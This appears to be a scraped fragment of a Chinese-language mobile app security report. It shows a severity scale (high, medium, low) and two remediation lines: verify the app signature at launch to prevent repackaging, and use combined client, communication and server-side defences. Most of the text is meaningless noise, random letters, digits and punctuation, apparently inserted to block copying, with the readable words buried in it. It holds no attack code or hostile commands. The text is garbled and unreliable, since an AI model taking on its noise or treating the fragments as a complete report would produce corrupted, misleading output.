6 _# Q1 [1 X" b/ p$ k 1 k! @5 R9 C0 I( u5 z# n( F {6 B9 C" m/ f6 B! P3 [7 x/ z 严重程度 5 d% y( P; e7 | 9 E; w9 f3 l8 t* @7 ^* V 4 w5 U4 M; q, _, W+ ]3 u, l/ O9 O " {% B; o* I" R6 e+ U e	% ^7 s" L/ j; }4 @ $ u- k8 |/ k* t2 _+ W$ o h' y" D 高 - r6 L% m) M9 M5 K; n	. f) n% j' [5 \6 x. q5 W0 o1 X ■ 1 G" c" ~4 r6 B% S1 W! N) Q ! N& l; i5 @2 `8 V2 n	& W" q0 C' P. Q: L0 \ : K6 W! n% e# B9 j B K1 g- {2 K ; ]3 ?3 x) n- Z* L/ Q. r 中 # @. ~% }9 G& { ( b! d0 r- t* p- ~/ S	' l% A) U" Z) O; ?+ `5 E, ~$ I, w - ?: u' ]. i7 r0 D# i# F: r % R. K8 x K* K   ( E: l; _8 V5 Z' e! p 2 y/ j; L5 `. I5 Q% R	: u: {; r J# ^" D 6 g1 X( L4 I: m- g# @7 I. g0 S1 b & c0 h. U1 D0 L 低 . E1 f4 m1 y& o( z$ b5 q ! p& G! N. d! }% S , [) q1 H/ t% ]- t	/ v3 T w: c. U1 q& N( _   8 p6 b; v2 K. P6 P4 v: Q P/ T7 S, n. E+ d8 B , z3 J" u9 } m5 b

0 w$ o' Q# I. u( W p9 ]

" B, c6 k8 X2 P2 i2 n7 D

) @! |% w1 D. [7 T   3 p- e6 }& Q' ^8 d9 ]4 v 1 [- p; Z3 [ B+ e: z

) z; T7 n7 L. V( [ a & j; ~; O; N0 k! Z. D/ ]

1 @# c. A( N( u5 `0 E 修复方法： $ m7 r# L* I! q0 q4 H& F 0 Z4 C0 ?6 I8 x- u4 D

: Z9 Q0 G1 {& x. l! X

              1.在 APP 启动时应做签名校验防止二次打包。
! ]) ~; P; {9 f+ o/ K 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

2 U \% i/ i! G' \ 4 M; m, `( `- \, ^+ F

& t& v! N; \0 ?: [* w; S   7 c2 b; j+ X" e8 F, S2 ~' r 4 l8 U/ I0 d6 s9 Z( P: V% W

6 o ]# e" K8 _: Y

1 E4 A; `; Z& J $ ? T9 p- Z0 l
; B! A0 O* S r3 m* ?

$ `. G3 A" [: y1 P" R7 `$ R! `